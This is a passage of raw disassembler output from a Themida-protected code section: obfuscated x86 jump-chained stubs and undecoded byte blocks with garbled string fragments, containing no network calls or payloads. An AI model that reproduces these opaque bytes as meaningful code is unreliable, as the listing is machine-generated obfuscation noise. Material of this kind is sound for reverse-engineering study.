loc_561C25 ; --------------------------------------------------------------------------- loc_552C2E: ; CODE XREF: Themida_:0055860Fj add ebp, ebx pop ebx jmp loc_55B278 ; --------------------------------------------------------------------------- loc_552C36: ; CODE XREF: Themida_:00562FD3j push edx mov edx, 5B3A7697h mov eax, 62616F7Bh xor eax, edx pop edx neg eax not eax inc eax not eax sub eax, 22840B75h add eax, 5BDF2566h add edx, eax pop eax sub esp, 4 jmp loc_561535 ; --------------------------------------------------------------------------- loc_552C60: ; CODE XREF: Themida_:0055DCE5j shl ebp, 6 shl ebp, 4 jmp loc_563E5C ; --------------------------------------------------------------------------- loc_552C6B: ; CODE XREF: Themida_:0056009Bj mov ebp, 16193420h add esi, ebp pop ebp jmp loc_556F2B ; --------------------------------------------------------------------------- dd 5C241C87h, 68241489h, 246Eh, 3268E9h db 0 ; --------------------------------------------------------------------------- loc_552C89: ; CODE XREF: Themida_:0055A697j add esp, 4 pop dword ptr [esp] pop esp xor eax, edx xor edx, eax jmp loc_55792F ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 2 dd 99CAE9h, 0E9D9F700h, 0FFFFF7B0h, 15DDC281h, 0EA817EBFh dd 0FDD1F60h, 979C281h, 0BB53229Ch, 6E2B37C6h, 0B9168h dd 24048900h, 0FFD95FE9h, 241487FFh, 124248Bh, 0EC815AD6h dd 4, 68243C89h, 696Bh, 0E9242C89h, 635Eh, 0C61D91BFh dd 95F78179h, 8979C61Dh, 0CA015FF9h, 57240C8Bh, 1A11E9h db 0 ; --------------------------------------------------------------------------- loc_552D05: ; CODE XREF: Themida_:005589F6j push ebp mov ebp, 3A9C2AF7h jmp loc_562F23 ; --------------------------------------------------------------------------- dd 0E904C483h, 0D9C5h ; --------------------------------------------------------------------------- loc_552D18: ; CODE XREF: Themida_:0055FB98j push edx mov dh, ah mov ch, dh pop edx jmp loc_55A65A ; --------------------------------------------------------------------------- loc_552D23: ; CODE XREF: Themida_:00551D60j mov [esp], esi jmp loc_563229 ; --------------------------------------------------------------------------- loc_552D2B: ; CODE XREF: Themida_:00558EE2j add esi, 4 jmp loc_556585 ; --------------------------------------------------------------------------- loc_552D36: ; CODE XREF: Themida_:00553F96j mov [esp], esi mov esi, esp push edx mov edx, 4 add esi, edx mov edx, [esp] jmp loc_5525D7 ; --------------------------------------------------------------------------- db 89h dd 0BF572404h, 2D64EC9h, 0E174E9h, 0F2015D00h, 2823C281h dd 348B5057h, 93E95224h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552D6B: ; CODE XREF: Themida_:0054FC2Dj mov esi, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp loc_552D8A: ; CODE XREF: Themida_:0055332Bj ; Themida_:0055B08Bj push ebx push esi mov esi, 3A3A6505h jmp loc_5628B3 ; --------------------------------------------------------------------------- dw 815Fh dd 2205BC5h, 0A3ED8160h, 0F73E952Fh, 83ED81DDh, 50999B8Dh dd 7ACEE9h, 24148900h, 3E99C50h db 0B4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552DBB: ; CODE XREF: Themida_:00558BE7j xor edi, 0E4912B0Bh push eax jmp loc_55D58D ; --------------------------------------------------------------------------- db 89h dd 4FE92414h, 81000112h, 902A1DC5h, 0F7454D08h, 0F5D2E9DDh dd 5650FFFFh, 934205BEh, 0DE26E947h, 5166FFFFh, 4EC81h dd 64E90000h, 0F7000050h, 3ED335D8h, 0BBE944D0h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552E03: ; CODE XREF: Themida_:0055BCEAj add esi, 4 push ebp mov ebp, 55327AAFh jmp loc_55A22D ; --------------------------------------------------------------------------- loc_552E14: ; CODE XREF: Themida_:00555771j add ebx, eax jmp loc_55B991 ; --------------------------------------------------------------------------- loc_552E1B: ; CODE XREF: Themida_:00553CF7j not ecx jmp loc_556EEC ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF241C89h, 5B042474h, 5C24048Fh, 24048B66h, 30946853h dd 24890000h, 4EC8124h, 0E9000000h, 0D51Eh, 4BFh, 5FFD0100h dd 4E9968h, 242C8900h, 42474FFh, 83242C8Bh, 25E904C4h dd 89000109h, 58542404h, 16E95055h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552E77: ; CODE XREF: Themida_:005509E4j mov eax, 94B2367h sub eax, 5DF1196h jmp loc_557BFE ; --------------------------------------------------------------------------- dw 0FE89h dd 5EF1215Fh, 0E573E9h, 0EE835B00h, 24348704h, 2268E95Ch dd 0C3810000h, 4, 8704C383h, 248B241Ch, 7C38124h, 294E6B43h dd 7CAFE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552EBA: ; CODE XREF: Themida_:005629DEj shl edx, 1 jmp loc_5611E9 ; --------------------------------------------------------------------------- db 0FEh, 0C2h, 0F6h dd 11F280D2h, 8005E2C0h, 0CDE911F2h db 16h, 1, 0 ; --------------------------------------------------------------------------- loc_552ED3: ; CODE XREF: Themida_:00563B95j mov edi, 39FF0774h xor edi, esi mov esi, [esp] jmp loc_55F232 ; --------------------------------------------------------------------------- dw 0F580h dd 4EDC03Ah, 80AAF580h, 0EC0062C4h, 5962EC80h, 0FAEAE9h dd 24248B00h, 9C240CD3h, 0FFC468E9h, 6E5C1FFh, 0F03FE957h dd 0E955FFFFh, 0E446h, 3315C781h, 0CF014748h, 3315EF81h dd 72E94748h, 2D00005Ah, 1D5B2DC0h, 11064E9h, 9F4BBF00h dd 0FA89CDEAh, 0BBE1E9h db 0 ; --------------------------------------------------------------------------- loc_552F3D: ; CODE XREF: Themida_:00551896j pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5517AF ; --------------------------------------------------------------------------- db 66h dd 5624048Bh, 0A228E9h, 0CEC28100h, 16B9301h, 0F378E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552F6A: ; CODE XREF: Themida_:0056123Aj pop ecx add bl, al push dword ptr [esp] pop eax add esp, 4 movzx eax, al jmp loc_563369 ; --------------------------------------------------------------------------- db 56h dd 0C6815E54h, 4, 3154E9h, 81CB0100h, 0C45623C3h, 5CC3815Ah dd 81653A6Ch, 0F5746DC3h, 86EFE919h, 0C7810000h, 1, 0E6E9EFD1h dd 890000F4h, 0BB532434h, 692A6248h, 0CB81D3F7h, 4E64370Dh dd 7229C381h, 0DE898421h, 8BF1295Bh, 0C4812434h, 4, 0FD63E9h dd 0CEB85000h, 0C113D87Eh, 555203E8h, 0CA653D68h, 0A8E95D7Bh dd 52000058h, 0D0712EBAh, 2AEA8137h, 0E937D071h, 57BCh dd 413DF50Dh, 5D552531h, 0D0F774DAh, 5108E8C1h, 64755B9h dd 14F75128h, 0C1815924h, 415E0378h, 2E45E9h db 0 ; --------------------------------------------------------------------------- loc_553029: ; CODE XREF: Themida_:0055E1B1j push dword ptr [esp] mov eax, [esp] jmp loc_554528 ; --------------------------------------------------------------------------- loc_553034: ; CODE XREF: Themida_:005580A3j add esp, 4 jmp loc_552182 ; --------------------------------------------------------------------------- loc_55303C: ; CODE XREF: Themida_:00562563j pop esp mov [esp], ebp push edx mov edx, 725D3DA1h not edx jmp loc_5576B5 ; --------------------------------------------------------------------------- loc_55304D: ; CODE XREF: Themida_:005591DFj mov ecx, [esp] add esp, 4 sub bx, bp mov ebp, [esp] add esp, 4 jmp loc_555DB7 ; --------------------------------------------------------------------------- loc_553064: ; CODE XREF: Themida_:005594D9j pop edx sub edi, ebp jmp loc_5603E2 ; --------------------------------------------------------------------------- dd 8105EEC1h, 12793C6h, 43FFE928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55307A: ; CODE XREF: Themida_:0055F8B5j pop edi push edx mov edx, 164F53C8h jmp loc_552BA2 ; --------------------------------------------------------------------------- dw 0C33h aFq db '$\fQµÃ',0 db 0EEh dd 0F0205966h, 0E924148Bh, 0FFFFCE6Fh, 45BD5556h, 0E94B474Eh dd 4933h, 0EC83F028h, 1C896602h, 44BB324h, 2CD82878h, 1166E978h db 1, 0 ; --------------------------------------------------------------------------- loc_5530BE: ; CODE XREF: Themida_:00561509j push ebp mov ebp, 4 jmp loc_55C238 ; --------------------------------------------------------------------------- aZsu db 'ZéU',27h,0 db 0 ; --------------------------------------------------------------------------- loc_5530CF: ; CODE XREF: Themida_:0055C945j mov [esp], ebp push ebx mov ebx, 30B64829h add ebx, 432102A7h and ebx, 45452067h sub ebx, 5B2B110Fh sub ebx, 0E619EF2Dh mov ebp, ebx pop ebx mov edx, ebp jmp loc_55E07B ; --------------------------------------------------------------------------- dw 3487h dd 3C895C24h, 4EC8124h, 54000000h, 6824048Fh, 3C92h, 0E9241489h dd 0B247h, 241CF766h, 0FC6EE99Ch, 0C1810000h, 1F5F1DB5h dd 0EC81D929h, 4, 0E9241489h, 11225h ; --------------------------------------------------------------------------- loc_553138: ; CODE XREF: Themida_:0055C0E7j mov [esp], ebx push ebp push 657E4AA7h pop ebp shr ebp, 5 add ebp, 4A5E852Bh jmp loc_551046 ; --------------------------------------------------------------------------- dd 87E5815Dh, 563DDF5Fh, 0F16170BEh, 4CF68120h, 0F7497934h dd 12F681DEh, 0E9FDB38Ch, 4027h, 0E9A685Eh, 3C890000h dd 243C8724h, 3C87D7F7h, 834F5F24h, 3C8904ECh, 2414F724h dd 2AB9515Fh, 29D04FC0h, 0AEF5E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55319A: ; CODE XREF: Themida_:0055BB7Aj push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_5567FD ; --------------------------------------------------------------------------- dd 0EBC681ADh, 0E9783C5Fh, 0F0D1h, 48AEB951h, 0C8013395h dd 24148B59h, 3104C483h, 6AFB68C3h, 3BE90000h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5531CF: ; CODE XREF: Themida_:005607D2j mov eax, 4 jmp loc_55E5C8 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 1E4EE9h, 244C3000h, 0E9D98601h, 0FFFFCF3Bh, 0DC02C781h dd 0FB89DEC8h, 8BD9015Fh, 9AE9241Ch, 57000005h, 165366BFh dd 2C12E92Fh, 0C1810000h, 4, 31240C33h, 0C33240Ch, 24248B24h dd 1D068h, 242C8900h, 3FE968h, 4EC8100h, 89000000h, 4832424h dd 48F0424h, 24048124h, 4, 5D2434FFh, 4FF9E9h, 81FE2900h dd 592DD6EEh, 0BD47E95Dh, 0D6F70000h, 0B80FE9h, 0D2E94F00h dd 290000EEh, 24348BF1h, 4C481h, 0EF810000h, 2D976E0Bh dd 44E9CF01h, 5C000023h, 70B05052h, 0D3F6D886h, 0D3E9D886h dd 8300001Ch, 896602ECh, 5BB5240Ch, 8B66EF88h, 5453240Ch dd 0E078E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5532A2: ; CODE XREF: Themida_:00558772j pop ecx sub esp, 4 mov [esp], ecx not dword ptr [esp] pop ecx jmp loc_55A7D8 ; --------------------------------------------------------------------------- loc_5532B5: ; CODE XREF: Themida_:0055C8C0j mov ecx, [esp] push ecx mov ecx, esp push edi mov edi, 20F33A12h inc edi inc edi sub edi, 9F729F9h and edi, 65E611AFh shl edi, 2 add edi, 0EC6FBFD8h jmp loc_55B1F1 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0Ch dd 0C1E324FFh, 0EC8304EFh, 242C8904h, 48587EBDh, 2FE7E94Ch dd 8B660000h, 6DE92434h, 1000050h, 0AAC181D9h, 0E97D3335h dd 4A2Dh, 0FABCF581h, 0EC81F029h, 4, 0E9243489h, 9616h ; --------------------------------------------------------------------------- loc_553320: ; CODE XREF: Themida_:005586D6j add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] or eax, eax jnz loc_552D8A push 2A4Bh jmp loc_559F15 ; --------------------------------------------------------------------------- db 87h dd 815C2434h, 4C4h, 4CA06800h, 34890000h, 6C9E924h, 96BE0000h dd 0F7317A74h, 0BA524EDEh, 6F24DD9Fh, 149DE9h, 40500h dd 0C0830000h, 24048704h, 0E9575B5Ch, 0CF33h ; --------------------------------------------------------------------------- loc_553378: ; CODE XREF: Themida_:005640BCj add esi, eax pop eax jmp loc_554DF4 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 2C870000h, 0E9575C24h, 0F890h dd 2414F750h, 368F2558h, 0FE056305h, 52708326h, 8826FDBAh dd 5AD02970h, 46E9C101h, 0D1FFFFCBh, 26C281EAh, 0E963C620h dd 0E473h, 57A1F781h, 87E95A80h, 8B000084h, 0C4832404h dd 0D0F74804h, 4EC81h, 61E90000h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_5533E3: ; CODE XREF: Themida_:005505CFj inc esi xor esi, 0E2018B3Ch jmp loc_5586DB ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 54E95C24h, 5DFFFFD8h, 4C481h, 0CFE90000h dd 68000067h, 52B9h, 0E9241489h, 0F9B9h, 0E904EC83h, 0BB1Eh dd 0CFB95159h, 81560B4Ch, 567E71F1h, 0E9D9F710h, 2B57h dd 0E9C39D61h, 0FFFFBF35h, 28B6664h, 312968h, 243C8900h dd 6AB768h, 0A345E900h, 0D8010000h, 0B6FE9h db 0 ; --------------------------------------------------------------------------- loc_553455: ; CODE XREF: Themida_:0055051Bj pop esi jmp loc_551C49 ; --------------------------------------------------------------------------- loc_55345B: ; CODE XREF: Themida_:00559E57j add ebx, edx jmp loc_553A72 ; --------------------------------------------------------------------------- dw 3C89h dd 4EC8124h, 89000000h, 48E92424h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553473: ; CODE XREF: Themida_:0055420Bj mov [esp], ebx jmp loc_557FB0 ; --------------------------------------------------------------------------- db 0B9h align 10h aIST db ')Ù‰Ëé',1Bh,'’',0 dd 7094BF00h, 0EFC17407h, 3D3EE905h, 0EC810000h, 4, 0E9240489h dd 850Bh ; --------------------------------------------------------------------------- loc_5534A4: ; CODE XREF: Themida_:0055D919j push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edx push 15CDh jmp loc_555C46 ; --------------------------------------------------------------------------- db 8Bh dd 0D3662424h, 0E99C240Ch, 0FFFFBEA5h ; --------------------------------------------------------------------------- loc_5534C8: ; CODE XREF: Themida_:005581BAj mov ebp, 2 jmp loc_5589E3 ; --------------------------------------------------------------------------- loc_5534D2: ; CODE XREF: Themida_:00563873j push ecx jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 8A0C281h, 0E95E7313h, 0FFFFBE89h, 0E959CA29h, 0FFFFBE81h ; --------------------------------------------------------------------------- loc_5534EC: ; CODE XREF: Themida_:0056194Bj push dword ptr [esp] pop eax push ebp jmp loc_55E614 ; --------------------------------------------------------------------------- dw 0C281h dd 6B494EC1h, 101C8E9h, 3BE95F00h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553507: ; CODE XREF: Themida_:00558666j mov [esp], cx mov ch, 7Fh mov dh, ch pop cx add bl, dh mov dx, [esp] jmp loc_55710F ; --------------------------------------------------------------------------- loc_55351C: ; CODE XREF: Themida_:0055698Aj push dword ptr [esp] pop edx add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_54F36D ; --------------------------------------------------------------------------- db 5Dh, 89h, 0C1h dd 1C4F0958h, 0E9240C8Bh, 0AC07h, 0BE2E955h, 0C5FE0001h dd 0E94AE580h, 0FFFFF992h ; --------------------------------------------------------------------------- loc_553550: ; CODE XREF: Themida_:005638AAj add edi, 4 push edx mov edx, 4 add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_557180 ; --------------------------------------------------------------------------- dd 24048B66h, 0C8B5451h, 0E2895224h, 0FFC7F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_553581: ; CODE XREF: Themida_:0055EECEj movzx cx, al push cx pushf jmp loc_54F36D ; --------------------------------------------------------------------------- db 59h, 57h, 0BFh dd 1A1407BCh, 815FF909h, 0E37A20F1h, 0E9D9F779h, 0FFFFF06Ch dd 8B240C87h, 48F2424h, 24248B24h, 0F66E1F6h, 9368CCB6h dd 89000044h, 47682404h, 8900007Dh, 98E92424h, 0F70000ACh dd 8E6FE9DEh, 3C890000h, 0E9E78924h, 0B46Ch, 5E04C483h dd 0FFD060E9h, 2BDFFh, 89530000h, 5BDE89EBh, 917E95Dh db 1, 0 ; --------------------------------------------------------------------------- loc_5535F6: ; CODE XREF: Themida_:0055E06Ej xchg ebx, [esp] pop esp jmp loc_54FEA8 ; --------------------------------------------------------------------------- db 56h dd 0A93CA2BEh, 81D6F747h, 9F2783E6h, 1EE810Ch, 81000000h dd 0DB85C0EEh, 5E5D56C5h, 3D1CEF81h, 0EF291BD2h, 3D1CC781h dd 15D1BD2h, 46CFE9CFh, 34890000h, 3C28E924h, 0D6310000h dd 8283E95Ah, 0B4680000h, 0E900004Fh, 4D6Dh, 9D1C77FFh dd 1CD25966h, 12E99C24h, 68FFFFBDh, 4, 8BD1015Ah, 0B7E92414h dd 530000F4h, 74BA1BBh, 0EB81434Dh, 4D074B9Eh, 575BD901h dd 9EFBE56h, 0C68128C0h, 544776EDh, 4A1FF681h, 685197h dd 0E9000000h, 0FFFFDDDCh, 0E3F7E951h, 409FFFFh, 6CE99C24h dd 81000082h, 3491B8EEh, 0F78957E1h, 5E5FF889h, 9D3F8B0Dh dd 6E8C16Ch, 2414F750h, 0E924048Bh, 0B2BEh ; --------------------------------------------------------------------------- loc_5536C8: ; CODE XREF: Themida_:0055ADAEj xchg edi, [esp] jmp loc_560C58 ; --------------------------------------------------------------------------- dd 15BD831h, 8F32E9C1h, 14890000h, 4EC8124h, 89000000h dd 77E92424h, 0C1000081h, 0C58108EDh, 205DD975h, 66D2E9h db 0 ; --------------------------------------------------------------------------- loc_5536F9: ; CODE XREF: Themida_:0055BCD0j pop ecx jmp loc_555880 ; --------------------------------------------------------------------------- db 5Fh dd 31240433h, 4332404h, 0F4E95C24h, 8900008Eh, 16E92404h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553717: ; CODE XREF: Themida_:00552228j mov edx, 12E2685Fh add edx, 7CC80434h jmp loc_560925 ; --------------------------------------------------------------------------- aZb85? db 'ZÁ85?',0 dw 0C181h dd 61258E5h, 1B0FC181h, 0D9011A8Eh, 1B0FE981h, 0F1E91A8Eh dd 3300002Ch, 248B2404h, 24D36624h, 16E99C24h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553757: ; CODE XREF: Themida_:00553BE1j mov esi, [esp] jmp loc_558406 ; --------------------------------------------------------------------------- db 5Ch dd 0E9C8AF0Fh, 7AE7h, 2FBE5658h, 81014B7Eh, 2B6882C5h dd 52F52962h, 2B6882BAh, 5AD52962h, 5DE8015Eh, 0E904C083h dd 6E6Fh ; --------------------------------------------------------------------------- loc_55378C: ; CODE XREF: Themida_:00554796j mov eax, esp jmp loc_55B47B ; --------------------------------------------------------------------------- db 53h dd 0FFFAF2E9h, 4C481FFh, 81000000h, 4ECh, 241C8900h, 37AAE9h dd 8BF90100h, 8956243Ch, 4C681E6h, 51000000h, 0F317E9h db 0 ; --------------------------------------------------------------------------- loc_5537C1: ; CODE XREF: Themida_:0055C366j push eax mov eax, 4B17744Ah shl eax, 8 push 500Eh mov [esp], esi push edi push 5F6848F2h pop edi or edi, 496B4E01h add edi, 55F91EA0h sub edi, 0ECE8DCB8h push edi jmp loc_5510F4 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 30FF665Ch, 97ABE9h, 3E2C100h, 0FFF494E9h, 2434FFFFh dd 5175E9h db 0 ; --------------------------------------------------------------------------- loc_55380D: ; CODE XREF: Themida_:00557DB6j push 4CF5h mov [esp], ebp mov ebp, esp jmp loc_556229 ; --------------------------------------------------------------------------- loc_55381C: ; CODE XREF: Themida_:0055B143j pop esi push ebx sub esp, 4 jmp loc_557689 ; --------------------------------------------------------------------------- aHihG1slSU db 'h›h¼G]1è‹,$é|ž',0 align 2 dw 0F281h dd 76A7127Ch, 30ABBF57h, 0C7815291h, 0C3110D00h, 15FF801h dd 3DAB2DD0h, 525A15A2h, 4BAh, 5AD02900h, 5C240487h, 54240489h dd 0B8E95558h, 10000E4h, 58042444h, 0E4E95259h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553877: ; CODE XREF: Themida_:00559F8Aj sub esp, 4 mov [esp], ebx jmp loc_559356 ; --------------------------------------------------------------------------- dw 0C281h dd 51E04E66h, 0C281DAF7h, 0A73570E6h, 59E9D101h, 5D0000ACh dd 0F16BE9h, 7E4BB900h, 0CB896AE8h, 4B97E9h, 0F89A0500h dd 0C9E92EB2h, 81FFFFC3h, 4EAh, 24148700h, 0AC3EE9h db 0 ; --------------------------------------------------------------------------- loc_5538C1: ; CODE XREF: Themida_:005539D7j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_550821 ; --------------------------------------------------------------------------- dd 1CB7BD55h, 0EE31F862h, 0E9F1895Dh, 0F7D8h, 2CA1BE56h dd 0BEE96139h, 81000087h, 4C2h, 4C28100h, 87000000h, 0BE5C2414h dd 72587909h, 0A2BE5653h, 0BB708831h, 16664653h, 77E9EBD1h dd 58FFFFD2h, 532EE981h, 0C1812BE8h, 1DA34239h, 0BA52E901h dd 1DA34239h, 815AD129h, 0E8532EC1h, 0C8015D2Bh, 0E9240C8Bh dd 87A4h, 3304C783h, 3C31243Ch, 243C3324h, 8024248Bh, 0F0301FC6h dd 5B685A66h, 8900002Dh, 0E955241Ch, 0D97Bh, 7D07A8BDh dd 0FFEA0167h, 2C8B2434h, 4C48124h, 81000000h, 4C4h, 4FBE5600h dd 0E9486561h, 0BB25h ; --------------------------------------------------------------------------- loc_553990: ; CODE XREF: Themida_:0055278Bj mov edx, esp jmp loc_5543B5 ; --------------------------------------------------------------------------- db 5Ah dd 0A0CBD55h, 0EF0925E6h, 0CEB4E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5539A6: ; CODE XREF: Themida_:005604B9j mov [esp], edi mov edi, 0CA20971h add edi, 6269220Bh push edi neg dword ptr [esp] pop edi dec edi push eax jmp loc_55B39C ; --------------------------------------------------------------------------- loc_5539C0: ; CODE XREF: Themida_:005593A9j mov ebx, 0D8ECF228h sub edi, ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5538C1 ; --------------------------------------------------------------------------- loc_5539DC: ; CODE XREF: Themida_:00558A55j push eax mov eax, 0CBE10B7h dec eax dec eax sub eax, 92B11B04h sub edi, eax pop eax sub ecx, edi pop edi add edx, 607A0358h add edx, ecx sub edx, 607A0358h jmp loc_55F131 ; --------------------------------------------------------------------------- dw 34FFh aHU db '$]h',8,'u',0 dw 8900h dd 0E189240Ch, 21D0B850h, 4BE974F9h, 54000002h, 4C6815Eh dd 68000000h, 3A6Eh, 68242C89h, 4, 81242C8Bh, 4ECh, 24348900h dd 0C681E689h, 4, 3BBBE9h db 0 ; --------------------------------------------------------------------------- loc_553A49: ; CODE XREF: Themida_:005585B9j mov [esp], edi jmp loc_55F049 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 83000000h, 3C8704C7h, 0E9535C24h, 0B49Ch ; --------------------------------------------------------------------------- loc_553A64: ; CODE XREF: Themida_:005527D7j mov cl, 7Bh push eax jmp loc_550BDF ; --------------------------------------------------------------------------- loc_553A6C: ; CODE XREF: Themida_:005611A2j pop ecx jmp loc_553D98 ; --------------------------------------------------------------------------- loc_553A72: ; CODE XREF: Themida_:0055345Dj mov edx, [esp] add esp, 4 add edx, ebx jmp loc_56230E ; --------------------------------------------------------------------------- dw 0A68h dd 586BDF73h, 0FFCC4FE9h, 0B45052FFh, 0E9E688CAh, 0FFFFCB57h dd 4C481h, 0BD550000h, 54444B4Dh, 494C581h, 0E581546Bh dd 7F33256Ch, 0FAA2C581h, 0C4E9D7DCh, 81000080h, 4C1h dd 240C8700h, 4C1815Ch, 53000000h, 3363E952h, 0BA520000h dd 4668298Ch, 2988F281h, 0E9814668h, 163C6A4Dh, 0C181D101h dd 163C6A4Dh, 240C335Ah, 33240C31h, 3BE9240Ch db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553AFB: ; CODE XREF: Themida_:00564007j sub ebp, 6D497C2Dh add ebp, 0ECA613Ch mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_560ED3 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2810000h, 4, 0E9241487h, 0DD1Ch, 48306857h dd 0E95F5377h, 0FFFFF342h, 0B9240C89h, 185C6704h, 0ECE9E987h dd 5F00008Ch, 34815053h, 0BC082C24h, 734DE92Eh, 685C0000h dd 2E54h, 81241489h, 4ECh, 0DF9DE900h, 8959FFFFh, 0DA89E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B7E: ; CODE XREF: Themida_:00561498j jmp loc_54F36D ; --------------------------------------------------------------------------- loc_553B83: ; CODE XREF: Themida_:0055C6D2j mov [esp], ebx push edi push 23A613D0h jmp loc_5599ED ; --------------------------------------------------------------------------- db 5Eh, 1, 0C7h dd 4EC8158h, 0E9000000h, 10B25h, 376D2ABAh, 0B844E95Eh dd 0E8C10000h, 41AE6808h, 3C890000h, 1B15BF24h, 16E90019h dd 810000AAh, 4C1h, 4C18100h, 0E9000000h, 8830h, 4BF575Fh dd 1000000h, 0EEE95FFAh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553BDF: ; CODE XREF: Themida_:00552569j and eax, esi jmp loc_553757 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BE243489h, 22DE2862h, 0CB84E9h db 0 ; --------------------------------------------------------------------------- loc_553BF9: ; CODE XREF: Themida_:0055CFA3j pop ebx add ebx, 0D7C0EB94h push esi mov esi, ebx mov ecx, esi jmp loc_55DBD8 ; --------------------------------------------------------------------------- dw 0CB81h dd 294F40E6h, 0F2F38143h, 81636D04h, 0AA15E5EBh, 9FC3810Fh dd 0E9D80D0Ah, 8F79h, 0C389535Dh, 585BDE89h, 4244481h dd 6D32460Ch, 4247401h, 460CBB53h, 68E96D32h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C47: ; CODE XREF: Themida_:0055565Bj mov cx, 4EC8h add bx, cx jmp loc_5545A8 ; --------------------------------------------------------------------------- db 8Bh dd 0EC812404h, 4, 54241C89h, 2068E95Bh, 34050000h, 18B06DEh dd 0C18358C1h, 0E0A4E904h, 6E68FFFFh, 89000029h, 4BD242Ch dd 81000000h, 2C3BDAEEh, 0E9EE012Fh, 858h, 4C481h, 0C3300000h dd 66C0B60Fh, 6624D268h, 0E9240489h, 0FFFFB6C5h, 6624248Bh dd 6824048Bh, 246h, 68240489h, 51CAh, 0E9242489h, 7905h dd 24048F59h, 8924248Bh, 5A542414h, 37B268h, 241C8900h dd 0FBBFE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553CDE: ; CODE XREF: Themida_:00552402j mov dx, [esp] jmp loc_55FFEA ; --------------------------------------------------------------------------- loc_553CE7: ; CODE XREF: Themida_:00552661j push ecx push edx mov edx, 2B7F374Ch mov ecx, edx mov edx, [esp] add esp, 4 inc ecx jmp loc_552E1B ; --------------------------------------------------------------------------- dd 0FF2434FFh, 34FF2434h, 66E95A24h, 57FFFFEEh, 4BFh, 5FFB8900h dd 0FFC104E9h db 0FFh ; --------------------------------------------------------------------------- loc_553D19: ; CODE XREF: Themida_:00557234j xor al, 5Fh sub bl, al mov eax, [esp] add esp, 4 add bl, al push cx push ebx push ecx mov ch, 45h mov bh, 90h xor bh, ch pop ecx mov cl, bh mov ebx, [esp] add esp, 4 add bl, cl jmp loc_55EEA0 ; --------------------------------------------------------------------------- db 5 dd 4, 205h, 24048700h, 8824248Bh, 240C8BEFh, 81E78957h dd 4C7h, 4C78100h, 0E9000000h, 2032h ; --------------------------------------------------------------------------- loc_553D68: ; CODE XREF: Themida_:00562CF1j pop esi xor esi, 263C615Eh pop edi push dword ptr [esp] pop ecx add esp, 4 sub esi, 4A3746BAh push esi jmp loc_552386 ; --------------------------------------------------------------------------- dw 0E801h dd 4371CF2Dh, 2F252D33h, 0E95D30AEh, 1C42h ; --------------------------------------------------------------------------- loc_553D98: ; CODE XREF: Themida_:00553A6Dj add esp, 4 jmp loc_5554A2 ; --------------------------------------------------------------------------- aUsE db 'Uéìe',0 dd 0C895C00h, 0B5BBE924h, 0E581FFFFh, 7E523826h, 0F6E9DDF7h dd 1000107h, 0AE95EF3h, 0E9FFFFC0h, 0FFFFB5A1h ; --------------------------------------------------------------------------- loc_553DCC: ; CODE XREF: Themida_:0055C762j pop eax jmp loc_560821 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 47E1815Ch, 8102E125h, 7A66AFE1h, 0DCE98138h dd 57AD83CDh, 0FA89CF89h, 8956595Fh, 8BF089D6h, 8FE92434h dd 66FFFFB9h, 0E9240C8Bh, 101ACh, 0BAF5814Dh, 814B0B3Ah dd 2E75F9C5h, 46B95145h, 815FB14Fh, 473BDC5h, 9BE5E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553E26: ; CODE XREF: Themida_:0054F4FFj sub edi, 5E537BACh mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_56406F ; --------------------------------------------------------------------------- loc_553E51: ; CODE XREF: Themida_:00556BF3j mov dh, 44h mov bh, dh pop edx add bh, 2Bh push cx push edx mov dh, 0FAh jmp loc_554781 ; 